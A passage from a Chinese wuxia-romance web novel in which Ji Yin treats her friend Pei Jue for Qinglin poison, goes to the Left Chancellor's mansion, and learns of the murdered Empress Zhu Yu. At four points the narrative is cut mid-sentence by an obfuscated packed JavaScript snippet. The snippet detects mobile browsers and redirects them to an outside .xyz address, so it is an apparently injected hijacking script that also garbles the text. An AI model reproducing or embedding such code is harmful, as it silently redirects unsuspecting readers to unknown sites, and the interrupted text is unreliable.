季音清了清嗓子:“这样,等你攒够五条,我答应替你做一件事。如何,够有新意了吧?” 白清旭眉梢微挑,似是来了兴趣:“嗯......有点儿意思,什么事都行?” 季音翻了个白眼,没好气道:“什么事都行。” “成交。” 说罢,他起身:“慢慢吃,吃饱了,我带你回云天。” 见白清旭作势要走,季音赶紧咽下嘴里的东西:“诶......你等等!” 白清旭转身离开的脚步一顿。 季音揩揩鼻子,掏出一瓶金疮药扔给对方。 许是觉得此情此景十分诡异,她眼神开始不自觉地四下乱瞟:“那个......别多想啊,我可没有关心你的意思,单纯因为这药再不用就坏了,扔了也是浪费。” “还有,你是掌门,不是神仙。身上那血腥味我离这么老远都闻到了,你有那闲功夫给别人疗伤,就不能多管管自己?” “......你愣着干嘛?我虽然不指望你道谢,但你好歹也给点儿反应吧,怎么跟在何洛闵面前一样?” 白清旭看着手中的药瓶,轻声道:“......什么样?” 季音撇嘴:“......就是你现在这样,跟丢了魂似的。” 她顿了一顿:“不过话又说回来,何洛闵当时好像也没说什么吧,怎么会把你吓成那样?” “......吓?”白清旭敛眸:“你是说......我当时......在害怕?” “倒也不是害怕......”季音托着脑袋:“哎呀,我也说不清楚,总而言之......有点儿像......行尸走肉?” “行尸走肉。”白清旭一字一顿道。 良久,他看向季音,轻轻一笑:“抱歉,以后不会了。” 一个时辰后,季音随白清旭回了云天山。 来不及休息,她喘了口气,立马奔向了弟子居所。 季音记得非常清楚,当日她被问天府带走时最后所见的——裴诀浑身是血,面色煞白地躺在付子修怀中。 裴诀是因为替她挡剑才会受伤的,若他真有个什么三长两短...... 季音半是祈祷,半是慌张地敲响了裴诀的房门。 吱呀...... 随着房门被推开,季音刚要抬头,一道人影闪过,她的肩膀便被人紧紧抓住。 “女侠姐姐?!你回来了?!” 话里虽带着哭腔,但哭腔下的激动却是无论如何也掩盖不了的。 季音被对方这么一喊,喊得也有点儿想哭了。 她看着付子修那双布满血丝的眼睛,又看了看他身上尚未痊愈的伤口,吸吸鼻子,道:“裴诀呢?” 听得这话,付子修再也忍不住了,顾不得什么男女授受不亲,拽着季音就哭了起来:“裴兄......裴兄他......” 季音被他这副模样吓得七荤八素的,心中一惊,急忙朝着内屋奔去! 床榻之上,裴诀双眸紧闭,嘴唇乌黑,腰间还缠着厚厚的绷带。 “他这是......中毒了?!” 可是......不应该啊。 若她记得不错,刺中裴诀的是谢闻潇那把巨剑,但谢闻潇并不用毒,裴诀是怎么中毒的? 难道......是彩戏暗中动了手脚? 毕竟当时在场的几人,除了她,也就只有彩戏懂毒了。 付子修强忍着眼泪道:“药师好不容易......才替裴兄止住血,可谁能想到,他们......他们居然还留了一手!简直卑鄙无耻!” “怪我......都怪我,都是我把裴兄害成这样的......” “要不是我,那一剑也不会刺中他......” “都是我的错......” 季音看着内疚到不能自己的付子修,急道:“怎么会是你的错?明明是问天府那帮人阴狠毒辣,跟你有什么关系?!” “别担心,中毒不要紧,咱们可以拔毒!你告诉我,裴诀到底中了什么毒?” 说到拔毒,季音顿时来了信心。 真不是她自吹自擂,虽说她曾因为中了彩戏的毒镖而差点儿丢了小命,但这次不一样——受伤的是裴诀,左邻云天派,右靠左相府,再稀奇名贵的药材也是手到擒来,所以无论他中了多么见血封喉的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14115356|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,季音都有把握制出解药,保他性命无忧。 付子修一脸担忧地看向裴诀:“师父说,裴兄中的是......青麟毒。” 季音整个人登时僵立在原地。 ......青麟毒?! 怎么又是青麟毒?! 瞬间,发生在东豫城的往事在她脑海中闪过。 ......有问题,一定有问题! 真的不是她太过敏感。 若她仍旧毫无反应,只怕就不是敏感,而是迟钝了。 “女侠姐姐,你怎么了?” 付子修见季音满脸慌乱,还以为她伤势未愈,赶紧去扶。 季音回神,摆手道:“我没事。” 她当然有事。 东豫城内,若不是白清旭在场,凭借杨雯身上的青麟毒,以及她手中的流云飞针,荣尘与萧夙墨完全可以把她拿下,同时将杨雯的死扣在她头上。 季音看向手里的流云飞针,脑袋一片混乱。 青麟毒是师父制出的毒药,流云飞针也是师父下山前送给她的防身之物。 若杨雯的死与师父无关,凶手又是怎么得到这些东西的? 或者杨雯当真是师父所伤,可她又怎会跑到东豫城,甚至当街......陷害于她? 再说那日,且看萧夙墨的神情,显然并非偶遇此事,而是蓄谋已久。 季音知道当下局势,朝廷与江湖早已密不可分,可她自从下山以来,除了二王争位那晚在白夜澜面前搅了几下浑水,再不曾身涉朝廷官场中事,更不曾得罪过哪位朝臣命官。 他们究竟为何要嫁祸于她?又为何要想法设法将她抓走? 如今又是这样,裴诀也中了毒,中的还是青麟毒。 若此事当真是彩戏的手笔,那么下毒的原因是什么? 眼下问天府已与白羽沅联手,他们既对来自左相府的裴诀下毒,那是不是证明了裴诀甚至左相并未投身白羽沅的阵营? 话又说回来,抛开裴诀的身份不谈,彩戏明明就是个毒术高手,明明有那么多毒可以用,她为何偏偏要用师父的青麟毒? ......目标是她?是程十鸢?又或是整个冥麟阁? 自从季音下山以来,这一连串的事情就好像专门针对她似的,层出不穷。若说其中没有什么古怪,只怕连冥麟阁的狗都不会相信。 但究竟是哪里有古怪,哪里有问题,她却无论如何也答不上来。 季音看着床榻上气若游丝的裴诀,叹了口气。 罢了,虽说不知对方非用青麟毒不可的原因,但也幸好他们选了这个,能替季音省下不少功夫。 念及于此,她看向付子修:“对了,魏长老有没有提过解毒的事情?” 付子修忙道:“有有有,师父说了,他会寻访名医,尽快制出解药!” 说完,他又像是想到什么,低下了头:“可是......师父也说......这毒很厉害,他也只能是......尽力而为......” 季音看着付子修这副失落至极的模样,拍了拍他的肩膀,笑道:“别担心,这毒我能解!” 39. 再回王城 付子修猛地抬头,眸子瞬间闪闪发亮:“真的?!” 季音笑着点了点头。 “太好了!那我现在就去告诉师父!” 望着付子修蹦跳着离去的背影,没来由的,她整个人突然就放松下来。 “哦,对了!”付子修身型一顿,扭头冲她笑道:“女侠姐姐,你身上还有伤呢,赶紧回去休息吧,拔毒的事也不急于一时,裴兄这里有我就行!” 季音看着他眼底的一团乌青,喉头一哽,不知怎么,眼前竟有些模糊了:“......嗯。” 与此同时,重霄殿内。 魏奚泽看着面前的白清旭,一撩衣摆,突然就跪了下来! “属下办事不力,奸人混入却未能及时察觉,甚至任由其在门内兴风作浪,为非作歹,伤及无辜之人。凡此种种,皆为属下之过,属下未能完成掌门所托,辜负掌门信任,还请掌门责罚!” 白清旭却并未接话,只是搬了张矮桌,拎出两只酒壶,同样跪坐在了对方面前。 魏奚泽大惊,忙道:“掌门!您这是......” “......周序的死,我很抱歉。” “我知道,你是很喜欢这个小弟子的。” 魏奚泽微怔,随后又是一声轻叹。 “说起来,您是何时察觉......周序有问题的?” 白清旭笑了笑:“很多年前,他在你殿前种花时,正巧被我撞见。” “一个连染了泥的落花都要洗净包好的人,是不会直接将带灰的毒镖揣进口袋的。” 魏奚泽一愣,旋即摇了摇头:“看来......我根本没有资格为师育人。” “我将他带回云天派,却施教不当,更无力保护,致使他为奸人所害。” “是我害了他。” 白清旭咋了咋嘴:“啧,亏你还是连秦琴师叔都称赞过的好学生,咱们门规的第一条都忘了?学会自夸。” 魏奚泽道:“掌门,实不相瞒,您编撰的那本《门派新规》,已被天璇长老列为云天派十大禁书之首了。” 白清旭道:“啊,怎么这样,这本书可是我用心胡编的。” 魏奚泽略显无奈地笑了笑。 白清旭抿了口酒:“方才我去看了谢闻潇,他伤得很重,不过所幸性命无忧,好好将养,很快便可恢复如常。” 魏奚泽道:“您放心,我定会差人仔细照料。” 说罢,他又像是想起什么:“对了,徐福......” “放心,我一收到你的信,便去拜访了徐家夫妇。”白清旭抿了口酒:“只是丧子之痛,怕是一时半刻......难以消解啊。” 魏奚泽沉默良久,拿起了酒壶:“说到底,都是属下的错。” 白清旭叹道:“唉,你啊,就是这点不好。” 见对方不做声,他轻笑一声:“苍璐念的事,不要再往自己身上揽了。” 眼见被说中了心事,魏奚泽轰然抬头。 自从知道白清旭回来后,他就一直在纠结,究竟应该怎么告诉掌门苍璐念出逃之事。 人是徐君彦捉回的,是白清旭看管的,然而到他这里,却逃了个无影无踪。 但仔细想过,无论他自请多少责罚,水牢里的犯人逃了,这是事实,而依他的身手,也决计捉不回苍璐念。 他不知该如何去填补这个娄子,甚至难以启齿自己捅了娄子。 所以就算是刚才请罚时,他也没有说出这桩事。 只是不曾想,白清旭会主动提起。 并且说得如此轻松,如此平淡,就像是在谈论桌上的酒好不好喝。 “掌门......” 白清旭放下酒壶:“凭她的本事,逃离水牢只是时间问题,此事与你无关,以及......我知道云天派这段时日还发生了不少事,我不在的这段时间,辛苦你了。” 魏奚泽忙道:“替掌门分忧乃属下职责所在,您不必如此。只是眼下时局,苍璐念骤然出逃,朝廷那边......怕是会对您颇有微词。” 白清旭笑道:“平日里他们也没少说吧。” 魏奚泽道:“但您毕竟是......” “奚泽。”白清旭出言打断:“过两日......我会回一趟东豫城。” “......您又要走?”魏奚泽眉头微蹙:“可您已为灵州城之事奔波辛劳数日,不如休息一段时间再......” 白清旭笑道:“诶,我就是去休息的。有人在东豫城搭了个戏台,就等着演给我看呢,我若不去,他们岂不是没戏唱了?” 说罢,他顿了一顿:“奚泽,我知道,我一直都不是个合格的掌门。” “师父身死,我却任由凶手逍遥法外,师兄叛逃,我亦视而不见置之不理。” 魏奚泽看着他:“掌门......” 白清旭道:“我不想为自己开脱,只是眼下,我尚有许多疑惑未解,关于师父,关于师兄,更关于......我自己。” “你放心,待时机成熟,我一定会给云天派所有弟子一个交代。” 咚咚咚。 他的声音被一阵敲门声打断。 “掌门,魏长老,付子修公子求见。” 白清旭起身:“既然如此,你们师徒二人慢聊,我就不打扰了。” 魏奚泽看着他离去的背影,不知怎的,突然想起了裴诀说过的一句话。 山雨欲来风满楼。 季音望着窗外的瓢泼大雨,手中的蒲扇越摇越快。 付子修则在一旁尽职尽责地添柴,同时嘴巴也闲不下来:“女侠姐姐,这药都熬了半个时辰了,还没熬好啊?” “早着呢,一刻钟后再添两碗水。” “得嘞!” 青麟毒乃程十鸢年轻时所制,此毒会将人内心的欲望不断放大,致使气血上涌,筋脉淤塞,周身血管迸裂而亡。 不仅如此,青麟毒于紫宸奇毒榜排行第六,极难拔除。就算季音知晓解药方子,魏奚泽派人送来了最好的药材,也至少需要两个月的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14128989|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,每日三碗汤药灌下,才能将患者体内的毒素彻底清除。 “对了,女侠姐姐,昨天师父告诉我,爷爷来信了,要接我和裴兄回府养伤。” 季音一怔:“回府?” 付子修有些郁闷:“是啊!唉,从小到大,每次只要我出点什么事,爷爷就会这样,大惊小怪。” 季音笑道:“我倒是觉得,有亲人关心,是件很幸福的事情啊。” “真的?!”付子修又惊又喜道:“那你要不要跟我们一起回去?你还没去过我家呢!” “......你家可是左相府,我要是去过才有问题吧!” 付子修嘿嘿一笑:“去嘛去嘛,咱们认识这么久,我都没好好招待过你!” “况且这次你帮裴兄解了毒,是我们全家的大恩人,更是我的大恩人,我必须得认真感谢才行!” 见季音没有接话,付子修索性放下手里的活儿,半是撒娇半是央求道:“去吧女侠姐姐,咱们多待两天,我带你玩转东豫城!哦,还有还有,爷爷在信里说了,咱们这次回去,还能赶上永逸王殿下的生辰宴呢!” 季音道:“......永逸王?就是那个抱病避世的孱弱王爷吗?” 付子修道:“是啊!当日多亏这位永逸王殿下相助,陛下才能顺利登基,所以据说永逸王殿下这次的生辰宴,陛下那可是要大办的,到时候美酒佳肴肯定少不了,任凭咱们大吃特吃!怎么样,是不是更心动了?” 季音望着眼前蒸汽直冒的药罐,思考起来。 如今她已与白清旭“撕破脸皮”,先前说的什么扑倒计策通通作废不说,她甚至恨不得回到过去把自己嘴巴缝死。 再说了,虽不知白清旭为何三番两次故意接近,并且对她施以援手,但正邪终归两立,她不相信一个正派掌门会毫无目的,真要收她一个魔教弟子为徒。 况且魏奚泽等人也已经知晓了她冥麟阁弟子的身份,就算暂时并未发作,可回想起那晚李妙言对她的态度,继续留在这里,只怕不仅拿不到空青扇,反倒可能丢了小命,偷鸡不成蚀把米。 若能趁此机会离开云天派,倒也不失为一个好选择。 更重要的是,如今裴诀为了救她身受重伤,还中了程十鸢的青麟毒,而她又一向不喜欢欠人恩情,无论如何,都得亲自替他解了毒才能安心。 或许唯一麻烦的,便是付子修还不知道她是冥麟阁的人。 要知道,付栀年当年可是死于冥麟阁之手。依付子修的脾气,在知道她的真实身份后,别说继续拿她当朋友,只怕不提刀砍了她就是好的。 付子修看出她是在犹豫,干脆夺了她手里的蒲扇:“哎呀,就这么说定了!” 季音瞧着他满是期待的眸子,忍不住笑了,点了点头。 左相府的人办事果然雷厉风行,不过几日功夫,车马随从便乌压压地停在了云天山下。 嘱咐好“不可荒废武功”“回府也要勤加练习”等相关事宜后,魏奚泽看向了季音:“季音姑娘可否向掌门辞行过了?” 40. 初入相府 季音揩揩鼻子:“啊哈哈哈......当然。” 当然没有。 不仅如此,自从回到云天派后,她每日都像猫躲老鼠一样躲着白清旭。 至于原因,说实话,季音也不知道。 倒不是还在气他故意隐瞒身份,真要说起来,也许是自己的身家底细都被摸了个透彻,却还成天像傻子一样在人家面前晃来晃去,实在是......有些尴尬。 更何况,他们两个见面就要拌嘴,拌嘴就要动手。先前白清旭故意在她面前隐藏了实力,害她以为这家伙不会武功,所以一口一个臭骗子骂得顺溜极了,想说什么就说什么,毕竟就算真得罪他,打起来了,她也不怕。 可现在不一样了——江湖骗子摇身一变成了正派掌门,说又说不过,打也打不过,再不知天高地厚地去找白清旭的麻烦,只怕她得被他讹上一辈子! 季音生怕魏奚泽不相信,又赶紧补道:“您放心,待裴诀身上的毒解了,我立马就回来。” ......傻子才回来! 既然云天派掌门是这家伙,那空青扇她是铁定拿不到了——虽然很不想承认,但不得不说,论偷奸耍滑此类,她确然不是白清旭的对手。 所以与其继续没完没了地跟他耗下去,她还不如回冥麟阁求司玄换个历练任务。 魏奚泽似乎并未发觉什么异常,微笑道:“那便好。” 坐上左相府的马车后,季音才意识到,她这个决定做的究竟有多么正确。 倒不是她贪图什么荣华富贵。老实说,无论是在冥麟阁还是在云天派,她都是衣食不缺——尤其是被白清旭硬塞了一千两银子后,日子过得就更逍遥自在了。 但是! 先不说镂空金雕,丝绸帐幔,千里良驹这些标准配置。 这辆马车上......居然有厨子! 季音望着被递到自己面前的软酪千层,又看向旁边正在揉面擀皮的厨子,咋了咋嘴。 “女侠姐姐,快尝尝,邱大厨的软酪可是一绝,可好吃了!” 付子修挽起袖子,夹起一块就往嘴里塞。 邱大厨也笑道:“小公子抬举啦!不过您说得对,这东西不能放,一放就绵了,就得现做现吃!” 季音看向吃得正欢的付子修,心中默念:这小公子究竟是有多想不开,才放着这种神仙日子不过,跑到云天派去学武? 就这样,季音一路上不知被投喂了多少糕点茶品,吃得她几乎感觉理想人生,莫过于此。 当然,如果付子修能放过她的耳朵就更好了——裴诀昏迷不醒,他那张嘴又片刻不得闲,只能选择她进行“攻击”。 “女侠姐姐,问天府的人为什么要抓你啊?听说他们审讯犯人的手段凶残异常,你确定身上的伤都好了吗?” “东豫城有很多厉害的大夫,不如咱们再去看看吧,图个心安嘛!” “还有还有,那日师父只说会有人去救你,但没说究竟是什么人,所以去的到底是哪个厉害角色啊?” “话说回来,好不容易来一趟灵州城,居然连云天派掌门的面都没见上!不行,下次再来,我说什么也得见他一见!” 季音:“......” “呃......建议你别抱太高期望。” 付子修疑惑:“为什么?女侠姐姐,你见过他了?难道真像那几个师兄所说,这个云天掌门......有什么隐疾?!” 季音:“隐疾?脑子有问题可不算隐疾。” 付子修正要细问,马车却缓缓停了下来:“小公子,季姑娘,我们到了。” 透过车窗,映入季音眼帘的,是一对夫妻。 昨日才过立冬,东豫城便已有了透彻心扉的冷意,北风凛冽,寒气刺骨。可这两人却像是已在府外等了很长时间,披着斗篷,半是欣喜,半是焦急地看向驶来的马车。 若季音猜得不错,他们应该就是付子修的父母了。 早便听闻付朝膝下儿女双全——女儿付姒嫁于白夜澜,成了集万千宠爱于一身的当朝贵妃,而付翊,也就是付子修的父亲,官拜中书舍人,虽不比他老爹那般景星麟凤的人物,却也是中人以上,磨而不磷,涅而不缁,很是得白夜澜器重。 一路上,季音听多了付子修抱怨付翊,诸如“竹笋炒肉”“藤条猪肉”此类,听得季音想当然以为付翊是个模样凶悍,脾气暴躁的人物。 然而下了车季音才知道,什么是传说中的人言可畏——非但不是凶悍暴躁,恰恰相反,付翊生得身长玉立,目若朗星,任谁看了不称一句‘慈父若此’。 再看他旁边站着的女子,衣饰简单,却极显端庄大气,很有些当家主母的风范,想来便是付翊的妻子,付府唯一的女主人,袁姝冉夫人了。 季音又回想起付子修口中那个“痴迷牌九”“赌神之徒”的母亲,有些汗颜。 难不成......这夫妻两人喜欢玩反差? “爹!娘!我回来了!” 付子修三步并作两步冲下马车,边跑边喊。 跑到一半,他看着面前的两人,咽了咽口水,又瞥了付翊一眼,转头就往袁姝冉怀里扑。 付翊瞪了他一眼,脸上的笑容却半点儿不减:“这臭小子!” 袁姝冉得意道:“瞧见没有,儿子先抱的是我!愿赌服输,秋水阁的八宝簪,别忘了买啊。” 付翊赶紧点头:“都听夫人的。” 付子修见状,也给了付翊一个熊抱:“不能少了我爹的!” 付翊笑得更开心了,却还是故作嫌弃道:“行了,大男人抱什么抱!” 季音看着面前其乐融融的三人,不知怎的,眼睛突然有些发酸。 她好像也看到了她的父母,紧紧将她抱在怀中,有说有笑,满眼爱意。 可是为什么......就是看不清他们的脸呢? “你就是子修在信里提到的季音姑娘吧!” 恍然回神,袁姝冉已拉住季音的手,站在了她的身前。 季音见状,连忙逼回眼中的湿热,挤出了一个微笑:“伯母好。” “诶,好,真好啊......跟我们家栀年一样,都是好孩子。” 看着眼前这个思念女儿的母亲,季音竟一时不知该说些什么安慰。 似乎意识到自己的失态,袁姝冉赶紧拭去眼泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14151281|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向付子修:“对了,小裴怎么样?” 付子修摇了摇头,满脸愁容:“伤势已经好转了,但是人还没醒。” 听罢,袁姝冉立刻道:“来人啊!你,你,你们几个,赶紧把小裴送回卧房休息。你,还有你,快去把东豫城最好的大夫请来!” “子修,你带季音姑娘先去客房安置,我和你爹在前厅等你们。” 就这样,季音极为顺利地混进了左相府。 东豫城内几所有名的皇亲官家府邸,譬如富丽堂皇的尊宣王府,再比如低调静雅的贤安王府,季音倒是都有幸“拜访”过。 付府很大,竟是比这两位王爷的府邸还要大上几分。不过搭眼一瞧,府内的陈列摆设并不算奢华,甚至可以说有些普通。 但一路上,随着付子修的介绍,司夏国的玉石,陇西国的瓷器,摆着的挂着的,甚至连脚下踩的毯子都是邻国极为珍稀的贡品。 季音咋了咋嘴,心中默道:不见圭角,深藏若虚。 “就是这里!”付子修停住脚步:“女侠姐姐,快进去看看,满不满意?” 客房虽然有些偏僻,却很宽敞,也很整洁。梳妆镜前摆满了女孩子用的胭脂水粉不说,柜子里甚至还准备了月事带,足可见付府对她这位客人有多用心。 “不能再满意了!”季音放下包袱,被重视的感觉让她心里暖暖的:“给你们添麻烦了。” “害,这有什么麻烦不麻烦的!”付子修摆了摆手:“走吧,爹娘还等着呢!” 到了前厅,季音才知道,原来话本子真的没有骗她。 天底下所有父母都是一样的——亲热过后,家法伺候。 “你小子真是越来越能耐了啊,居然敢偷溜到那么远的地方!家里给你请的教习师父不够用吗?!还是家里容不下你这尊大佛了?!” 付翊敲着手里的戒尺:“说话!” 付子修虽然跪在地上,但看起来半分认错的态度也没有:“......我想出去见见世面不行啊,真是管太多了!” 付翊气得胡子都飞了:“你再说一遍?!” 袁姝冉劝道:“行了,儿子身上还有伤呢,别太过分了。” “受伤那是他活该!这小子就是被你惯坏了,越来越无法无天!” “你别拦着,这次我非得好好教训教训他不可!” 眼见竹笋炒肉就要起锅烧油了,季音咽了咽口水,决定出言相劝。 只是嘴巴还没张开,门口的侍从便如救星般从天降临:“小公子,老太爷有请。” 听罢,付子修如获大赦般,一个翻身爬了起来,拽起季音就往外跑:“爷爷喊我了,恕不奉陪喽!” 良久,付翊叹了口气,一摔戒尺:“......毛毛躁躁,不成体统!” 袁姝冉笑道:“好了,到底他没事,平平安安回来了。” 付翊恨铁不成钢道:“看他那副样子,根本就是好了伤疤忘了疼!” 袁姝冉道:“男孩子嘛,磕碰磕碰也好,整日闷在家里,那还像什么样子!” “唉,也罢!”付翊长叹一声:“对了,这个叫季音的小丫头,可查清楚身份来历了?” 41. 深宫秘闻 袁姝冉叹道:“无父无母,是个孤女。” 顿了一顿,她又道:“不过我倒是听闻,数月前杨雯身死之时,她也在场......哦对,还差点儿被当成凶手绑回去呢。” 付翊眉头微皱:“竟有此事?” “那后来呢?怎么平的?” 袁姝冉道:“当时云天派掌门也在,以荣尘的官职,除了放人,还能如何?” 付翊神色略显凝重:“云天派掌门的人......” 袁姝冉看了他一眼:“行了,子修在信里说得很清楚,人家小姑娘懂医术,心又好,是专程来替小裴解毒的,你别一天到晚在这儿疑神疑鬼的行不行?” “再说了,什么叫云天掌门的人?你怎么就知道她是给云天掌门办事的?依我看,这孩子长得高挑明艳的,说不准是人家云天掌门打算追求的姑娘,哪儿就有那么多弯弯绕绕?” 沉默良久,付翊缓缓开口:“夫人啊,你忘了,若是没有十二年前的惊九之案,那么如今坐在皇位上的,一定是他。” “而世上没有人不会为荣华权力所动,所以他对付家而言,危险至极。” “......够了!”袁姝冉拍桌起身,似是终于不耐烦了:“你们这帮为官做宰的男人,心思怎的比青楼歌姬还要腻歪?这几个孩子才多大,怎么被你说的非是穷凶便是极恶?依我看,将来他们若真有一天对咱们这帮老东西不利,那也一定是被咱们逼出来的!” 付翊低着头,没有接话。 “所以你现在是什么意思,打算把儿子关在府里,不让他回云天派了?”袁姝冉冷哼一声:“天玑长老的名号我听过,你以为人家的徒弟是那么好当的?他肯收咱们子修,那是卖给爹的面子!这么好的学习机会,你说不要就不要了?” “再说了,你没发现你儿子这次回家变了个样?换作之前,身上挂了这么多彩,早就哭着喊着跑回来了。他好不容易才找到自己想做的事,又交了患难与共的知心朋友......你是他爹啊,你怎么舍得?” “......正因为我是他爹,才不能眼睁睁看着他往火坑里跳,更不能看着他走上栀年的老路!”付翊长叹一声,眉宇间满是痛楚:“当年我放栀年去了末名派,可她却再也没能回来......夫人啊,我老了,我已经失去了女儿,不能再失去儿子了......” 袁姝冉眼眶一红,也不做声了。 “眼下时局,灵州城之事尚未平息,看爹的态度,他仍未忘记昔年祝皇后的知遇之恩,所以最终坐上皇位的是谁,没人说得准。”付翊一顿:“一日说不准,咱们家就一日处在水深火热之中,我何尝不想让子修自由自在的,可这......你叫我如何安心啊?” 听罢,袁姝冉一愣:“你的意思......爹是想扶持白羽沅......造反?” “低声些!”付翊身子前倾:“你以为子修这次前去灵州城,爹为何要让小裴跟随?在灵州城明目张胆地杀人放火,单凭他白羽沅一个从牢狱里逃出来的落魄王爷,岂敢如此放肆?” 袁姝冉眉头紧皱:“可既然如此,小裴又怎么会被伤成这样?还是那问天府就是如此做派,狠起来连自己人都不放过?” 付翊摇了摇头:“不知,也许还有其他势力暗中作祟罢。” 袁姝冉叹道:“小裴这孩子啊......也是命苦。” 与此同时,季音已被付子修带到了一间装潢大气的书房内。 付朝两朝元老的威名在外,一想到要跟这样的长辈打交道,季音就不由得有点儿发怵。 但转念一想,人家可是一举揭发罪臣叛国谋逆的忠勇之士,国之英雄。如今她到人家府上做客,于情于理都该亲自拜访。 付子修倒是半点儿不客气,甚至比在他爹娘面前还要放松,一屁股就坐在他爷爷那把太师椅上,同时还不忘招呼季音:“随便坐,当成自己家一样就行。” 看来江湖传言不假,付朝对他这个独孙,果真是宠爱有加。 季音笑了笑,正要接话,视线却突然被挂在墙上的一副画像所吸引。 从付朝书房极简的内饰摆放来看,他不是个喜欢奢靡之人,可这副画像繁琐至极的装裱却与屋内风格形成了鲜明的对比。 季音心生好奇,抬眸看去:“子修,这画像是......” 下一瞬,她眉头紧蹙,整个人僵立在原地,喉咙似是被人用力攥紧,再发不出半点儿声响。 画像中是一位披着鹅黄大氅的年轻女子,没有正脸,只有她在漫天飞雪中奔跑的背影——左手撑伞,右手提裙,潇洒恣意,快活至极。 付子修凑了过来:“哦,这幅画啊,这可是爷爷的宝贝呢。” “她......是谁?”问话的明明是季音,可她却感觉自己的声音仿佛从很远的地方传来。 “文昭帝的皇后,祝毓。”付子修看着季音不同寻常的神情:“女侠姐姐,莫非你认识她?” 季音摇了摇头。 不过她虽然不认识画中的女子,可她却曾在另一个地方见过一模一样的画像。 霜余山,冥麟阁,司玄的书房。 ......怎会如此? 付子修见她一脸疑惑,还以为她是想问付朝为何要把先帝皇后的画像挂在房中,于是清了清嗓子,一本正经地解释起来。 前面说过,年轻时的付朝虽满腹才学,却出身寒门,生不逢时,空有一腔凌云志,奈何难生两翼风,多亏遇到白曦这个伯乐,才得以宏图大展,扶摇直上。 但其实当年把付朝带回王府的,并非白曦,而是祝毓。 祝毓没有嫌弃他满身污渍,蓬头垢面,反而送上食物,以礼相待。在听到他不凡的谈吐与独到的见解后,更是直接把他引荐给了白曦。 很多时候,只要一个契机,便可由行至绝境突然峰回路转。 而祝毓给了付朝这个机会。 季音看着画像中女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14162642|147166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的背影:“所以......她是白羽沅的母亲?那她如今......是在皇宫里咯?” 付子修摇头:“早就死了,死了得有十四五年了吧。” 季音一愣:“怎么死的?” 听得此话,付子修深吸一口气,像下定了什么决心般,压低声音道:“女侠姐姐,这件事可是深宫秘闻,我也是问了好多人才打听到的!总而言之,我现在告诉你,你可千万不要害怕!” 季音:“......啊?” 随后,她便在付子修的讲述中知悉了整个故事的全貌。 当年,白曦登基,祝毓封后,大赦天下,普天同庆。 可自此之后,祝毓就仿佛变了个人,朝会宫宴也好,封禅祭祀也罢,通通称病不出,整日都将自己关在坤宁宫内。 终于有一日,宫女照例去送早膳,却发现她已被一剑穿心,命殒黄泉,尸体更是被人削成了朵莲花的形状,血腥诡谲。 据说看到她尸身的那个宫女吐了一地,两眼一翻,当场昏死过去。 季音神色凝重:“......莲花?” 并非她太过敏感,只是司玄当年之所以得了“红衣画莲”的名号,也是因为将一具尸体削成了朵莲花的形状。 付子修显然看出了她的心思:“其实我也怀疑过是冥麟阁那个大魔头干的,不过这件事发生的时候,他也就是个七八岁的小孩,怎么可能干得出这种事?” 当朝皇后暴毙于内宫,如此骇人听闻的诡事,但白曦却只是昭告天下,祝毓身染恶疾,不治而亡。 不过后位终日空悬,总归不是长久之计,于是白曦不顾群臣反对,力排众议,决意立四妃之首的元妃为后。 元妃娘娘,本名方施,如今的昌平长公主白承泱,永逸王白景湛,皆为她所出。 而方施本人,更是常年占据天香榜首甲——据闻当年司夏国的使臣入朝觐见时,白曦曾携方施亲临迎接。那位使臣只远远瞧了她一眼,就道出了至今仍用来形容美人的八字箴言。 掇菁撷华,水月镜花。 天下谁人不知,白曦对方施宠爱有加——昔年曾为博她一笑,在她生辰之日点燃明灯千盏,后绕东豫王城外围的运河亲自载船泛舟,只为她能瞧见漫天明灯的盛景。 自此,这条运河便被称为千灯河,而这个生辰,则被坊间称为“千灯渡梦”。 只是此举,在民间或许是佳话,可放在前朝后宫,那便是“昏君当道,妖妃惑主”。 